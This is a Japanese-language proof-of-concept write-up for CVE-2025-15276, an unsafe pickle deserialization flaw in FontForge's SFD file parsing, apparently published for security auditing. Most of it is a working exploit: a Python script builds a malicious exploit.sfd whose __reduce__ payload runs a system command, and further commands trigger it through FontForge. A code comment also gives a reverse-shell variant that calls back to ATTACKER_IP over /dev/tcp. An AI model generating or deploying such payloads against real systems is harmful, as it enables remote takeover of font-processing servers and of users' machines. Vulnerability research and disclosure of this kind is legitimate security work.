
CVE-2025-15276 の概念実証 - FontForge SFD ファイル解析における未検証データのデシリアライズによるリモートコード実行の脆弱性
この概念実証 (PoC) は教育目的およびセキュリティ監査専用です。 本情報の誤用について、作成者は一切の責任を負いません。コンピュータシステムへの不正アクセスは違法行為です。いかなるシステムに対するセキュリティテストを実施する前には、必ず明示的な許可を得てください。
CVE-2025-15276 は、FontForge(バージョン 20230101 まで)における重大なリモートコード実行 (RCE) 脆弱性です。この欠陥は、Spline Font Database (.sfd) 形式の解析、特に PickledData フィールドに存在します。
FontForge の SFD 形式では、PickledData キーワードを使用して永続的な Python ディクショナリを保存できます。フォントが読み込まれると、FontForge はこの文字列を抽出し、サニタイズやサンドボックスなしで直接 Python の pickle.loads() 関数(または同等の内部デシリアライズルーチン)に渡します。
Python の pickle モジュールは本質的に安全ではなく、任意のオブジェクト再構築を許可するため、攻撃者は __reduce__ メソッドを使用して、FontForge を実行しているユーザーの権限で任意のシステムコマンドを実行できます。
20230101 またはそれ以前。以下の Python スクリプト (gen_poc.py) を使用して exploit.sfd ファイルを作成します。この PoC は、侵害の安全な指標 (IoC) として /tmp/pwned にファイルを作成するように設定されています。
import pickle
import os
# リバースシェルの場合: "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'"
cmd = "bash -c 'touch /tmp/pwned'"
class Exploit(object):
def __reduce__(self):
return (os.system, (cmd,))
# Protocol 0 (ASCII) でオブジェクトをシリアライズ (SFD 互換性のため)
payload = pickle.dumps(Exploit(), protocol=0).decode('ascii')
# SFD 形式で必要なバックスラッシュと引用符をエスケープ
escaped_payload = payload.replace('\\', '\\\\').replace('"', '\\"')
# 最小限の SFD 構造を構築
sfd_content = f"""SplineFontDB: 3.2
FontName: ExploitFont
FullName: Exploit Font
FamilyName: Exploit
Weight: Regular
PickledData: "{escaped_payload}"
EndSplineFont
"""
with open("exploit.sfd", "w") as f:
f.write(sfd_content)
print("[+] exploit.sfd が正常に生成されました。")
ファイルを FontForge で開くだけで脆弱性がトリガーされます。
オプション A: 標準 GUI/CLI 読み込み
fontforge exploit.sfd
オプション B: Python スクリプティングインターフェース (自動パイプラインでよく使用)
fontforge -c 'import fontforge; fontforge.open("exploit.sfd")'
コマンドが実行されたか確認します:
ls -l /tmp/pwned
この脆弱性は、バックエンドで FontForge を使用してユーザーがアップロードしたファイルを処理するフォント処理パイプライン(例:Web ベースのフォントコンバーターや自動検証スクリプト)において特に危険です。バックエンドスクリプトが信頼できない .sfd ファイルに対して fontforge.open() を呼び出すと、攻撃者は処理サーバーを完全に制御できるようになります。
.sfd ファイルの処理を決して許可しない。